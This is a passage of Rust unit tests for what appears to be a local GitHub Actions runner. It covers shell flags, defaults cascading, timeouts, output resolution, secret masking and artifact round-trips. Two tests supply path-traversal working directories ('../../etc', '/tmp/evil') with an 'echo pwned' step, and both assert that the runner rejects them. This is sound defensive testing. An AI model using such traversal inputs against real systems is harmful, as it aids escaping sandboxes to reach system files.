7073 install_script: String::new(),
7074 }];
7075 let df = generate_combined_dockerfile(&runtimes, "ubuntu:latest");
7076 assert_eq!(df.matches("RUN ").count(), 1);
7078 }
7079
7080 #[test]
7081 fn combined_image_tag_is_deterministic() {
7082 let runtimes = vec![
7083 SetupRuntime {
7084 language: "node".to_string(),
7085 version: "20".to_string(),
7086 install_script: "install node".to_string(),
7087 },
7088 SetupRuntime {
7089 language: "python".to_string(),
7090 version: "3.12".to_string(),
7091 install_script: "install python".to_string(),
7092 },
7093 ];
7094 let df = "FROM base\nRUN install stuff\n";
7095 let tag1 = combined_image_tag(&runtimes, df);
7096 let tag2 = combined_image_tag(&runtimes, df);
7097 assert_eq!(tag1, tag2);
7098 assert!(tag1.starts_with(COMBINED_IMAGE_PREFIX));
7099 }
7100
7101 #[test]
7102 fn combined_image_tag_changes_when_dockerfile_changes() {
7103 let runtimes = vec![SetupRuntime {
7104 language: "node".to_string(),
7105 version: "20".to_string(),
7106 install_script: "install node v1".to_string(),
7107 }];
7108 let tag1 = combined_image_tag(&runtimes, "FROM base\nRUN v1\n");
7109 let tag2 = combined_image_tag(&runtimes, "FROM base\nRUN v2\n");
7110 assert_ne!(tag1, tag2);
7111 }
7112
7113 #[test]
7114 fn combined_image_tag_sorts_languages() {
7115 let runtimes_ab = vec![
7116 SetupRuntime {
7117 language: "a".to_string(),
7118 version: "1".to_string(),
7119 install_script: String::new(),
7120 },
7121 SetupRuntime {
7122 language: "b".to_string(),
7123 version: "2".to_string(),
7124 install_script: String::new(),
7125 },
7126 ];
7127 let runtimes_ba = vec![
7128 SetupRuntime {
7129 language: "b".to_string(),
7130 version: "2".to_string(),
7131 install_script: String::new(),
7132 },
7133 SetupRuntime {
7134 language: "a".to_string(),
7135 version: "1".to_string(),
7136 install_script: String::new(),
7137 },
7138 ];
7139 let df = "same";
7140 let tag_ab = combined_image_tag(&runtimes_ab, df);
7141 let tag_ba = combined_image_tag(&runtimes_ba, df);
7142 assert_eq!(tag_ab, tag_ba);
7144 }
7145
7146 fn make_run_step(run: &str) -> Step {
7149 Step {
7150 name: Some("run-step".to_string()),
7151 uses: None,
7152 run: Some(run.to_string()),
7153 with: None,
7154 env: HashMap::new(),
7155 continue_on_error: None,
7156 if_condition: None,
7157 id: None,
7158 working_directory: None,
7159 shell: None,
7160 timeout_minutes: None,
7161 }
7162 }
7163
7164 #[tokio::test]
7165 async fn bash_shell_uses_errexit_and_pipefail() {
7166 let runtime = MockContainerRuntime::default();
7167 let workflow = minimal_workflow();
7168 let job_env = HashMap::new();
7169 let working_dir = std::env::current_dir().unwrap();
7170
7171 let step = make_run_step("echo hello");
7172
7173 let ctx = StepExecutionContext {
7174 step: &step,
7175 step_idx: 0,
7176 job_env: &job_env,
7177 job_user_env: &job_env,
7178 working_dir: &working_dir,
7179 runtime: &runtime,
7180 workflow: &workflow,
7181 runner_image: "ubuntu:latest",
7182 verbose: false,
7183 matrix_combination: &None,
7184 container_config: None,
7185 workflow_defaults: None,
7186 job_defaults: None,
7187 step_outputs: &HashMap::new(),
7188 step_statuses: &HashMap::new(),
7189 job_status: "success",
7190 services: test_services(),
7191 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7192 };
7193
7194 let result = execute_step(ctx).await.unwrap();
7195 assert_eq!(result.status, StepStatus::Success);
7196
7197 let calls = runtime.run_calls.lock().unwrap();
7198 assert_eq!(calls.len(), 1);
7199 let cmd = &calls[0].cmd;
7200 assert_eq!(cmd[0], "bash");
7202 assert_eq!(cmd[1], "--noprofile");
7203 assert_eq!(cmd[2], "--norc");
7204 assert_eq!(cmd[3], "-e");
7205 assert_eq!(cmd[4], "-o");
7206 assert_eq!(cmd[5], "pipefail");
7207 assert_eq!(cmd[6], "-c");
7208 assert_eq!(cmd[7], "echo hello");
7209 }
7210
7211 #[tokio::test]
7212 async fn sh_shell_uses_errexit() {
7213 let runtime = MockContainerRuntime::default();
7214 let workflow = minimal_workflow();
7215 let job_env = HashMap::new();
7216 let working_dir = std::env::current_dir().unwrap();
7217
7218 let mut step = make_run_step("echo hello");
7219 step.shell = Some("sh".to_string());
7220
7221 let ctx = StepExecutionContext {
7222 step: &step,
7223 step_idx: 0,
7224 job_env: &job_env,
7225 job_user_env: &job_env,
7226 working_dir: &working_dir,
7227 runtime: &runtime,
7228 workflow: &workflow,
7229 runner_image: "ubuntu:latest",
7230 verbose: false,
7231 matrix_combination: &None,
7232 container_config: None,
7233 workflow_defaults: None,
7234 job_defaults: None,
7235 step_outputs: &HashMap::new(),
7236 step_statuses: &HashMap::new(),
7237 job_status: "success",
7238 services: test_services(),
7239 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7240 };
7241
7242 let result = execute_step(ctx).await.unwrap();
7243 assert_eq!(result.status, StepStatus::Success);
7244
7245 let calls = runtime.run_calls.lock().unwrap();
7246 let cmd = &calls[0].cmd;
7247 assert_eq!(cmd[0], "sh");
7248 assert_eq!(cmd[1], "-e");
7249 assert_eq!(cmd[2], "-c");
7250 assert_eq!(cmd[3], "echo hello");
7251 }
7252
7253 #[tokio::test]
7256 async fn working_directory_rejects_parent_traversal() {
7257 let runtime = MockContainerRuntime::default();
7258 let workflow = minimal_workflow();
7259 let job_env = HashMap::new();
7260 let working_dir = std::env::current_dir().unwrap();
7261
7262 let mut step = make_run_step("echo pwned");
7263 step.working_directory = Some("../../etc".to_string());
7264
7265 let ctx = StepExecutionContext {
7266 step: &step,
7267 step_idx: 0,
7268 job_env: &job_env,
7269 job_user_env: &job_env,
7270 working_dir: &working_dir,
7271 runtime: &runtime,
7272 workflow: &workflow,
7273 runner_image: "ubuntu:latest",
7274 verbose: false,
7275 matrix_combination: &None,
7276 container_config: None,
7277 workflow_defaults: None,
7278 job_defaults: None,
7279 step_outputs: &HashMap::new(),
7280 step_statuses: &HashMap::new(),
7281 job_status: "success",
7282 services: test_services(),
7283 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7284 };
7285
7286 let result = execute_step(ctx).await.unwrap();
7287 assert_eq!(result.status, StepStatus::Failure);
7288 assert!(result.output.contains("Invalid working-directory"));
7289 }
7290
7291 #[tokio::test]
7292 async fn working_directory_allows_subdirectory() {
7293 let runtime = MockContainerRuntime::default();
7294 let workflow = minimal_workflow();
7295 let job_env = HashMap::new();
7296 let working_dir = std::env::current_dir().unwrap();
7297
7298 let mut step = make_run_step("echo ok");
7299 step.working_directory = Some("src/app".to_string());
7300
7301 let ctx = StepExecutionContext {
7302 step: &step,
7303 step_idx: 0,
7304 job_env: &job_env,
7305 job_user_env: &job_env,
7306 working_dir: &working_dir,
7307 runtime: &runtime,
7308 workflow: &workflow,
7309 runner_image: "ubuntu:latest",
7310 verbose: false,
7311 matrix_combination: &None,
7312 container_config: None,
7313 workflow_defaults: None,
7314 job_defaults: None,
7315 step_outputs: &HashMap::new(),
7316 step_statuses: &HashMap::new(),
7317 job_status: "success",
7318 services: test_services(),
7319 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7320 };
7321
7322 let result = execute_step(ctx).await.unwrap();
7323 assert_eq!(result.status, StepStatus::Success);
7324 let calls = runtime.run_calls.lock().unwrap();
7326 assert_eq!(calls.len(), 1);
7327 }
7328
7329 #[tokio::test]
7330 async fn working_directory_rejects_absolute_path() {
7331 let runtime = MockContainerRuntime::default();
7332 let workflow = minimal_workflow();
7333 let job_env = HashMap::new();
7334 let working_dir = std::env::current_dir().unwrap();
7335
7336 let mut step = make_run_step("echo pwned");
7337 step.working_directory = Some("/tmp/evil".to_string());
7338
7339 let ctx = StepExecutionContext {
7340 step: &step,
7341 step_idx: 0,
7342 job_env: &job_env,
7343 job_user_env: &job_env,
7344 working_dir: &working_dir,
7345 runtime: &runtime,
7346 workflow: &workflow,
7347 runner_image: "ubuntu:latest",
7348 verbose: false,
7349 matrix_combination: &None,
7350 container_config: None,
7351 workflow_defaults: None,
7352 job_defaults: None,
7353 step_outputs: &HashMap::new(),
7354 step_statuses: &HashMap::new(),
7355 job_status: "success",
7356 services: test_services(),
7357 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7358 };
7359
7360 let result = execute_step(ctx).await.unwrap();
7361 assert_eq!(result.status, StepStatus::Failure);
7362 assert!(result.output.contains("Invalid working-directory"));
7363 }
7364
7365 #[tokio::test]
7368 async fn defaults_cascade_job_overrides_workflow() {
7369 let runtime = MockContainerRuntime::default();
7370 let workflow_defaults = workflow::Defaults {
7371 run: Some(workflow::DefaultsRun {
7372 shell: Some("sh".to_string()),
7373 working_directory: None,
7374 }),
7375 };
7376 let job_defaults = workflow::Defaults {
7377 run: Some(workflow::DefaultsRun {
7378 shell: Some("python".to_string()),
7379 working_directory: None,
7380 }),
7381 };
7382 let workflow = minimal_workflow();
7383 let job_env = HashMap::new();
7384 let working_dir = std::env::current_dir().unwrap();
7385
7386 let step = make_run_step("print('hello')");
7387
7388 let ctx = StepExecutionContext {
7389 step: &step,
7390 step_idx: 0,
7391 job_env: &job_env,
7392 job_user_env: &job_env,
7393 working_dir: &working_dir,
7394 runtime: &runtime,
7395 workflow: &workflow,
7396 runner_image: "ubuntu:latest",
7397 verbose: false,
7398 matrix_combination: &None,
7399 container_config: None,
7400 workflow_defaults: Some(&workflow_defaults),
7401 job_defaults: Some(&job_defaults),
7402 step_outputs: &HashMap::new(),
7403 step_statuses: &HashMap::new(),
7404 job_status: "success",
7405 services: test_services(),
7406 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7407 };
7408
7409 let result = execute_step(ctx).await.unwrap();
7410 assert_eq!(result.status, StepStatus::Success);
7411
7412 let calls = runtime.run_calls.lock().unwrap();
7413 let cmd = &calls[0].cmd;
7414 assert_eq!(cmd[0], "python");
7416 assert_eq!(cmd[1], "-c");
7417 }
7418
7419 #[tokio::test]
7420 async fn defaults_cascade_step_overrides_job() {
7421 let runtime = MockContainerRuntime::default();
7422 let job_defaults = workflow::Defaults {
7423 run: Some(workflow::DefaultsRun {
7424 shell: Some("python".to_string()),
7425 working_directory: None,
7426 }),
7427 };
7428 let workflow = minimal_workflow();
7429 let job_env = HashMap::new();
7430 let working_dir = std::env::current_dir().unwrap();
7431
7432 let mut step = make_run_step("echo hello");
7433 step.shell = Some("sh".to_string());
7434
7435 let ctx = StepExecutionContext {
7436 step: &step,
7437 step_idx: 0,
7438 job_env: &job_env,
7439 job_user_env: &job_env,
7440 working_dir: &working_dir,
7441 runtime: &runtime,
7442 workflow: &workflow,
7443 runner_image: "ubuntu:latest",
7444 verbose: false,
7445 matrix_combination: &None,
7446 container_config: None,
7447 workflow_defaults: None,
7448 job_defaults: Some(&job_defaults),
7449 step_outputs: &HashMap::new(),
7450 step_statuses: &HashMap::new(),
7451 job_status: "success",
7452 services: test_services(),
7453 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7454 };
7455
7456 let result = execute_step(ctx).await.unwrap();
7457 assert_eq!(result.status, StepStatus::Success);
7458
7459 let calls = runtime.run_calls.lock().unwrap();
7460 let cmd = &calls[0].cmd;
7461 assert_eq!(cmd[0], "sh");
7463 assert_eq!(cmd[1], "-e");
7464 assert_eq!(cmd[2], "-c");
7465 }
7466
7467 #[tokio::test]
7468 async fn defaults_cascade_workflow_used_when_no_job_or_step() {
7469 let runtime = MockContainerRuntime::default();
7470 let workflow_defaults = workflow::Defaults {
7471 run: Some(workflow::DefaultsRun {
7472 shell: Some("sh".to_string()),
7473 working_directory: None,
7474 }),
7475 };
7476 let workflow = minimal_workflow();
7477 let job_env = HashMap::new();
7478 let working_dir = std::env::current_dir().unwrap();
7479
7480 let step = make_run_step("echo hello");
7481
7482 let ctx = StepExecutionContext {
7483 step: &step,
7484 step_idx: 0,
7485 job_env: &job_env,
7486 job_user_env: &job_env,
7487 working_dir: &working_dir,
7488 runtime: &runtime,
7489 workflow: &workflow,
7490 runner_image: "ubuntu:latest",
7491 verbose: false,
7492 matrix_combination: &None,
7493 container_config: None,
7494 workflow_defaults: Some(&workflow_defaults),
7495 job_defaults: None,
7496 step_outputs: &HashMap::new(),
7497 step_statuses: &HashMap::new(),
7498 job_status: "success",
7499 services: test_services(),
7500 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7501 };
7502
7503 let result = execute_step(ctx).await.unwrap();
7504 assert_eq!(result.status, StepStatus::Success);
7505
7506 let calls = runtime.run_calls.lock().unwrap();
7507 let cmd = &calls[0].cmd;
7508 assert_eq!(cmd[0], "sh");
7510 }
7511
7512 #[tokio::test]
7513 async fn defaults_cascade_working_directory_from_job() {
7514 let runtime = MockContainerRuntime::default();
7515 let job_defaults = workflow::Defaults {
7516 run: Some(workflow::DefaultsRun {
7517 shell: None,
7518 working_directory: Some("src".to_string()),
7519 }),
7520 };
7521 let workflow = minimal_workflow();
7522 let job_env = HashMap::new();
7523 let working_dir = std::env::current_dir().unwrap();
7524
7525 let step = make_run_step("echo ok");
7526
7527 let ctx = StepExecutionContext {
7528 step: &step,
7529 step_idx: 0,
7530 job_env: &job_env,
7531 job_user_env: &job_env,
7532 working_dir: &working_dir,
7533 runtime: &runtime,
7534 workflow: &workflow,
7535 runner_image: "ubuntu:latest",
7536 verbose: false,
7537 matrix_combination: &None,
7538 container_config: None,
7539 workflow_defaults: None,
7540 job_defaults: Some(&job_defaults),
7541 step_outputs: &HashMap::new(),
7542 step_statuses: &HashMap::new(),
7543 job_status: "success",
7544 services: test_services(),
7545 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
7546 };
7547
7548 let result = execute_step(ctx).await.unwrap();
7549 assert_eq!(result.status, StepStatus::Success);
7550 }
7552
7553 #[test]
7556 fn sanitize_timeout_none_returns_default() {
7557 assert_eq!(sanitize_timeout_minutes(None, 360.0), 360.0);
7558 }
7559
7560 #[test]
7561 fn sanitize_timeout_positive_value_returned() {
7562 assert_eq!(sanitize_timeout_minutes(Some(30.0), 360.0), 30.0);
7563 }
7564
7565 #[test]
7566 fn sanitize_timeout_nan_returns_default() {
7567 assert_eq!(sanitize_timeout_minutes(Some(f64::NAN), 360.0), 360.0);
7568 }
7569
7570 #[test]
7571 fn sanitize_timeout_infinity_returns_default() {
7572 assert_eq!(sanitize_timeout_minutes(Some(f64::INFINITY), 360.0), 360.0);
7573 }
7574
7575 #[test]
7576 fn sanitize_timeout_neg_infinity_returns_default() {
7577 assert_eq!(
7578 sanitize_timeout_minutes(Some(f64::NEG_INFINITY), 360.0),
7579 360.0
7580 );
7581 }
7582
7583 #[test]
7584 fn sanitize_timeout_zero_returns_default() {
7585 assert_eq!(sanitize_timeout_minutes(Some(0.0), 360.0), 360.0);
7586 }
7587
7588 #[test]
7589 fn sanitize_timeout_negative_returns_default() {
7590 assert_eq!(sanitize_timeout_minutes(Some(-5.0), 360.0), 360.0);
7591 }
7592
7593 #[test]
7594 fn sanitize_timeout_clamps_to_max() {
7595 assert_eq!(sanitize_timeout_minutes(Some(99999.0), 360.0), 8640.0);
7597 }
7598
7599 #[tokio::test]
7602 async fn job_timeout_produces_failure_result() {
7603 let timeout_mins = 0.0001; let dur = std::time::Duration::from_secs_f64(
7606 sanitize_timeout_minutes(Some(timeout_mins), 360.0) * 60.0,
7607 );
7608
7609 let step_loop = async {
7610 tokio::time::sleep(std::time::Duration::from_millis(500)).await;
7612 Ok::<(), ExecutionError>(())
7613 };
7614
7615 let result = tokio::time::timeout(dur, step_loop).await;
7616 assert!(result.is_err(), "Expected timeout but step completed");
7617 }
7618
7619 #[test]
7622 fn record_step_status_tracks_outcome_and_conclusion() {
7623 let mut map = HashMap::new();
7624 let mut status = "success".to_string();
7625
7626 let result = StepResult {
7627 name: "build".to_string(),
7628 status: StepStatus::Failure,
7629 output: String::new(),
7630 outcome: StepStatus::Failure,
7631 conclusion: StepStatus::Success, };
7633 record_step_status(Some("build"), &result, &mut map, &mut status);
7634
7635 let (outcome, conclusion) = map.get("build").unwrap();
7636 assert_eq!(outcome, "failure");
7637 assert_eq!(conclusion, "success");
7638 assert_eq!(status, "success");
7640 }
7641
7642 #[test]
7643 fn record_step_status_sets_job_failure_on_failed_conclusion() {
7644 let mut map = HashMap::new();
7645 let mut status = "success".to_string();
7646
7647 let result = StepResult::new("test".to_string(), StepStatus::Failure, String::new());
7648 record_step_status(Some("test"), &result, &mut map, &mut status);
7649
7650 assert_eq!(status, "failure");
7651 }
7652
7653 #[test]
7654 fn record_step_status_ignores_steps_without_id() {
7655 let mut map = HashMap::new();
7656 let mut status = "success".to_string();
7657
7658 let result = StepResult::new("anon".to_string(), StepStatus::Success, String::new());
7659 record_step_status(None, &result, &mut map, &mut status);
7660
7661 assert!(map.is_empty());
7662 }
7663
7664 #[test]
7665 fn process_workflow_commands_sets_output() {
7666 let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
7667 let masker = SecretMasker::new();
7668
7669 process_workflow_commands(
7670 "::set-output name=version::1.2.3\nsome normal output\n",
7671 Some("build"),
7672 &mut outputs,
7673 Some(&masker),
7674 );
7675
7676 assert_eq!(
7677 outputs.get("build").unwrap().get("version").unwrap(),
7678 "1.2.3"
7679 );
7680 }
7681
7682 #[test]
7683 fn process_workflow_commands_wires_add_mask() {
7684 let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
7685 let masker = SecretMasker::new();
7686
7687 process_workflow_commands(
7688 "::add-mask::my-secret-value\n",
7689 None,
7690 &mut outputs,
7691 Some(&masker),
7692 );
7693
7694 assert!(masker.has_secret("my-secret-value"));
7695 let masked = masker.mask("my-secret-value is here");
7696 assert!(!masked.contains("my-secret-value"));
7697 }
7698
7699 #[test]
7700 fn process_workflow_commands_without_masker_does_not_panic() {
7701 let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
7702 process_workflow_commands("::add-mask::secret\n", None, &mut outputs, None);
7704 }
7705
7706 #[test]
7707 fn build_needs_context_filters_to_declared_deps() {
7708 let mut job = empty_workflow()
7709 .jobs
7710 .into_values()
7711 .next()
7712 .unwrap_or_else(|| serde_yaml::from_str::<Job>("steps: []").unwrap());
7713 job.needs = Some(vec!["build".to_string()]);
7714
7715 let mut all_outputs = HashMap::new();
7716 let mut build_out = HashMap::new();
7717 build_out.insert("artifact".to_string(), "foo.tar.gz".to_string());
7718 all_outputs.insert("build".to_string(), build_out);
7719 let mut deploy_out = HashMap::new();
7721 deploy_out.insert("url".to_string(), "https://example.com".to_string());
7722 all_outputs.insert("deploy".to_string(), deploy_out);
7723
7724 let mut all_results = HashMap::new();
7725 all_results.insert("build".to_string(), "success".to_string());
7726 all_results.insert("deploy".to_string(), "failure".to_string());
7727
7728 let (needs_out, needs_res) = build_needs_context(&job, &all_outputs, &all_results);
7729
7730 assert!(needs_out.contains_key("build"));
7731 assert!(!needs_out.contains_key("deploy"));
7732 assert_eq!(needs_res.get("build").unwrap(), "success");
7733 assert!(!needs_res.contains_key("deploy"));
7734 }
7735
7736 #[test]
7737 fn resolve_job_outputs_evaluates_step_reference() {
7738 let job: Job = serde_yaml::from_str(
7739 r#"
7740 steps: []
7741 outputs:
7742 version: "${{ steps.build.outputs.ver }}"
7743 "#,
7744 )
7745 .unwrap();
7746
7747 let mut step_outputs = HashMap::new();
7748 let mut build_out = HashMap::new();
7749 build_out.insert("ver".to_string(), "2.0.0".to_string());
7750 step_outputs.insert("build".to_string(), build_out);
7751
7752 let result = resolve_job_outputs(
7753 &job,
7754 &step_outputs,
7755 &HashMap::new(),
7756 &HashMap::new(),
7757 &HashMap::new(),
7758 "success",
7759 Path::new("."),
7760 );
7761
7762 assert_eq!(result.get("version").unwrap(), "2.0.0");
7763 }
7764
7765 #[test]
7766 fn resolve_job_outputs_returns_empty_for_missing_step() {
7767 let job: Job = serde_yaml::from_str(
7768 r#"
7769 steps: []
7770 outputs:
7771 missing: "${{ steps.nonexistent.outputs.key }}"
7772 "#,
7773 )
7774 .unwrap();
7775
7776 let result = resolve_job_outputs(
7777 &job,
7778 &HashMap::new(),
7779 &HashMap::new(),
7780 &HashMap::new(),
7781 &HashMap::new(),
7782 "success",
7783 Path::new("."),
7784 );
7785
7786 assert_eq!(result.get("missing").unwrap(), "");
7787 }
7788
7789 #[test]
7790 fn aggregate_reusable_workflow_outputs_merges_all_jobs() {
7791 let mut job_outputs = HashMap::new();
7792 let mut build_out = HashMap::new();
7793 build_out.insert("artifact".to_string(), "build.tar".to_string());
7794 job_outputs.insert("build".to_string(), build_out);
7795
7796 let mut test_out = HashMap::new();
7797 test_out.insert("coverage".to_string(), "92%".to_string());
7798 job_outputs.insert("test".to_string(), test_out);
7799
7800 let merged = aggregate_reusable_workflow_outputs(&job_outputs);
7801 assert_eq!(merged.get("artifact").unwrap(), "build.tar");
7802 assert_eq!(merged.get("coverage").unwrap(), "92%");
7803 }
7804
7805 #[test]
7806 fn aggregate_reusable_workflow_outputs_skips_empty_values() {
7807 let mut job_outputs = HashMap::new();
7808 let mut out = HashMap::new();
7809 out.insert("key".to_string(), String::new());
7810 out.insert("real".to_string(), "value".to_string());
7811 job_outputs.insert("job".to_string(), out);
7812
7813 let merged = aggregate_reusable_workflow_outputs(&job_outputs);
7814 assert!(!merged.contains_key("key"));
7815 assert_eq!(merged.get("real").unwrap(), "value");
7816 }
7817
7818 #[test]
7819 fn build_needs_context_empty_when_no_needs_declared() {
7820 let job = make_job(None, None);
7821
7822 let mut all_outputs = HashMap::new();
7823 all_outputs.insert("build".to_string(), HashMap::new());
7824 let mut all_results = HashMap::new();
7825 all_results.insert("build".to_string(), "success".to_string());
7826
7827 let (needs_outputs, needs_results) = build_needs_context(&job, &all_outputs, &all_results);
7828
7829 assert!(needs_outputs.is_empty());
7830 assert!(needs_results.is_empty());
7831 }
7832
7833 #[test]
7834 fn build_needs_context_ignores_missing_upstream_jobs() {
7835 let mut job = make_job(None, None);
7836 job.needs = Some(vec!["nonexistent".to_string()]);
7837
7838 let (needs_outputs, needs_results) =
7839 build_needs_context(&job, &HashMap::new(), &HashMap::new());
7840
7841 assert!(needs_outputs.is_empty());
7842 assert!(needs_results.is_empty());
7843 }
7844
7845 #[test]
7846 fn resolve_job_outputs_handles_static_and_dynamic_values() {
7847 let job: Job = serde_yaml::from_str(
7848 r#"
7849 steps: []
7850 outputs:
7851 version: "${{ steps.build.outputs.ver }}"
7852 label: "release"
7853 "#,
7854 )
7855 .unwrap();
7856
7857 let mut step_outputs = HashMap::new();
7858 let mut build_out = HashMap::new();
7859 build_out.insert("ver".to_string(), "3.0.0".to_string());
7860 step_outputs.insert("build".to_string(), build_out);
7861
7862 let result = resolve_job_outputs(
7863 &job,
7864 &step_outputs,
7865 &HashMap::new(),
7866 &HashMap::new(),
7867 &HashMap::new(),
7868 "success",
7869 Path::new("."),
7870 );
7871
7872 assert_eq!(result.get("version").unwrap(), "3.0.0");
7873 assert_eq!(result.get("label").unwrap(), "release");
7874 }
7875
7876 #[test]
7877 fn resolve_job_outputs_empty_when_no_outputs_section() {
7878 let job = make_job(None, None);
7879
7880 let resolved = resolve_job_outputs(
7881 &job,
7882 &HashMap::new(),
7883 &HashMap::new(),
7884 &HashMap::new(),
7885 &HashMap::new(),
7886 "success",
7887 Path::new("."),
7888 );
7889
7890 assert!(resolved.is_empty());
7891 }
7892
7893 #[test]
7894 fn resolve_job_outputs_missing_step_reference_resolves_empty() {
7895 let job: Job = serde_yaml::from_str(
7897 r#"
7898 steps: []
7899 outputs:
7900 ver: "${{ steps.nonexistent.outputs.version }}"
7901 "#,
7902 )
7903 .unwrap();
7904
7905 let resolved = resolve_job_outputs(
7906 &job,
7907 &HashMap::new(),
7908 &HashMap::new(),
7909 &HashMap::new(),
7910 &HashMap::new(),
7911 "success",
7912 Path::new("."),
7913 );
7914
7915 assert_eq!(resolved.get("ver").map(|s| s.as_str()), Some(""));
7917 }
7918
7919 #[tokio::test]
7922 async fn upload_artifact_step_wiring() {
7923 let runtime = MockContainerRuntime::default();
7924 let workflow = minimal_workflow();
7925 let working_dir = tempfile::tempdir().unwrap();
7926
7927 std::fs::write(working_dir.path().join("build.tar"), "artifact-content").unwrap();
7929
7930 let artifact_dir = tempfile::tempdir().unwrap();
7931 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
7932 let cache_dir = tempfile::tempdir().unwrap();
7933 let cache_store =
7934 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
7935 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
7936
7937 let mut with = HashMap::new();
7938 with.insert("name".to_string(), "my-build".to_string());
7939 with.insert("path".to_string(), "build.tar".to_string());
7940 let step = make_step(
7941 "upload",
7942 "actions/upload-artifact@v4",
7943 Some(with),
7944 HashMap::new(),
7945 );
7946 let job_env = HashMap::new();
7947
7948 let ctx = StepExecutionContext {
7949 step: &step,
7950 step_idx: 0,
7951 job_env: &job_env,
7952 job_user_env: &job_env,
7953 working_dir: working_dir.path(),
7954 runtime: &runtime,
7955 workflow: &workflow,
7956 runner_image: "ubuntu:latest",
7957 verbose: false,
7958 matrix_combination: &None,
7959 container_config: None,
7960 workflow_defaults: None,
7961 job_defaults: None,
7962 step_outputs: &HashMap::new(),
7963 step_statuses: &HashMap::new(),
7964 job_status: "success",
7965 services: JobServices {
7966 secret_manager: None,
7967 secret_masker: None,
7968 secrets_context: &HashMap::new(),
7969 needs_context: &HashMap::new(),
7970 needs_results: &HashMap::new(),
7971 artifact_store: &artifact_store,
7972 cache_store: &cache_store,
7973 },
7974 pending_cache_saves: &pending,
7975 };
7976
7977 let result = execute_step(ctx).await.unwrap();
7978 assert_eq!(result.status, StepStatus::Success);
7979 assert!(result.output.contains("Uploaded artifact 'my-build'"));
7980
7981 let download_dir = tempfile::tempdir().unwrap();
7983 let mut dl_with = HashMap::new();
7984 dl_with.insert("name".to_string(), "my-build".to_string());
7985 dl_with.insert("path".to_string(), "dl".to_string());
7986 let dl_step = make_step(
7987 "download",
7988 "actions/download-artifact@v4",
7989 Some(dl_with),
7990 HashMap::new(),
7991 );
7992
7993 let dl_workspace = tempfile::tempdir().unwrap();
7995 let dl_ctx = StepExecutionContext {
7996 step: &dl_step,
7997 step_idx: 1,
7998 job_env: &job_env,
7999 job_user_env: &job_env,
8000 working_dir: dl_workspace.path(),
8001 runtime: &runtime,
8002 workflow: &workflow,
8003 runner_image: "ubuntu:latest",
8004 verbose: false,
8005 matrix_combination: &None,
8006 container_config: None,
8007 workflow_defaults: None,
8008 job_defaults: None,
8009 step_outputs: &HashMap::new(),
8010 step_statuses: &HashMap::new(),
8011 job_status: "success",
8012 services: JobServices {
8013 secret_manager: None,
8014 secret_masker: None,
8015 secrets_context: &HashMap::new(),
8016 needs_context: &HashMap::new(),
8017 needs_results: &HashMap::new(),
8018 artifact_store: &artifact_store,
8019 cache_store: &cache_store,
8020 },
8021 pending_cache_saves: &pending,
8022 };
8023
8024 let dl_result = execute_step(dl_ctx).await.unwrap();
8025 assert_eq!(dl_result.status, StepStatus::Success);
8026 assert!(dl_result.output.contains("Downloaded artifact 'my-build'"));
8027 }
8028
8029 #[cfg(not(target_os = "windows"))]
8042 #[tokio::test]
8043 async fn run_step_upload_download_artifact_roundtrip_emulation() {
8044 let runtime = emulation::EmulationRuntime::new();
8045 let workflow = minimal_workflow();
8046 let working_dir = tempfile::tempdir().unwrap();
8047
8048 let fake_github_ws = tempfile::tempdir().unwrap();
8055
8056 let artifact_dir = tempfile::tempdir().unwrap();
8057 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8058 let cache_dir = tempfile::tempdir().unwrap();
8059 let cache_store =
8060 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8061 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8062
8063 let mut job_env = HashMap::new();
8064 job_env.insert(
8065 "GITHUB_WORKSPACE".to_string(),
8066 fake_github_ws.path().to_string_lossy().to_string(),
8067 );
8068
8069 let run_step = make_step_run("mkdir artifact-dir && echo hello > artifact-dir/payload.txt");
8071 let run_ctx = StepExecutionContext {
8072 step: &run_step,
8073 step_idx: 0,
8074 job_env: &job_env,
8075 job_user_env: &job_env,
8076 working_dir: working_dir.path(),
8077 runtime: &runtime,
8078 workflow: &workflow,
8079 runner_image: "ubuntu:latest",
8080 verbose: false,
8081 matrix_combination: &None,
8082 container_config: None,
8083 workflow_defaults: None,
8084 job_defaults: None,
8085 step_outputs: &HashMap::new(),
8086 step_statuses: &HashMap::new(),
8087 job_status: "success",
8088 services: JobServices {
8089 secret_manager: None,
8090 secret_masker: None,
8091 secrets_context: &HashMap::new(),
8092 needs_context: &HashMap::new(),
8093 needs_results: &HashMap::new(),
8094 artifact_store: &artifact_store,
8095 cache_store: &cache_store,
8096 },
8097 pending_cache_saves: &pending,
8098 };
8099 let run_result = execute_step(run_ctx).await.unwrap();
8100 assert_eq!(
8101 run_result.status,
8102 StepStatus::Success,
8103 "run step failed: {}",
8104 run_result.output
8105 );
8106
8107 let mut up_with = HashMap::new();
8109 up_with.insert("name".to_string(), "payload".to_string());
8110 up_with.insert("path".to_string(), "artifact-dir/payload.txt".to_string());
8111 let up_step = make_step(
8112 "upload",
8113 "actions/upload-artifact@v4",
8114 Some(up_with),
8115 HashMap::new(),
8116 );
8117 let up_ctx = StepExecutionContext {
8118 step: &up_step,
8119 step_idx: 1,
8120 job_env: &job_env,
8121 job_user_env: &job_env,
8122 working_dir: working_dir.path(),
8123 runtime: &runtime,
8124 workflow: &workflow,
8125 runner_image: "ubuntu:latest",
8126 verbose: false,
8127 matrix_combination: &None,
8128 container_config: None,
8129 workflow_defaults: None,
8130 job_defaults: None,
8131 step_outputs: &HashMap::new(),
8132 step_statuses: &HashMap::new(),
8133 job_status: "success",
8134 services: JobServices {
8135 secret_manager: None,
8136 secret_masker: None,
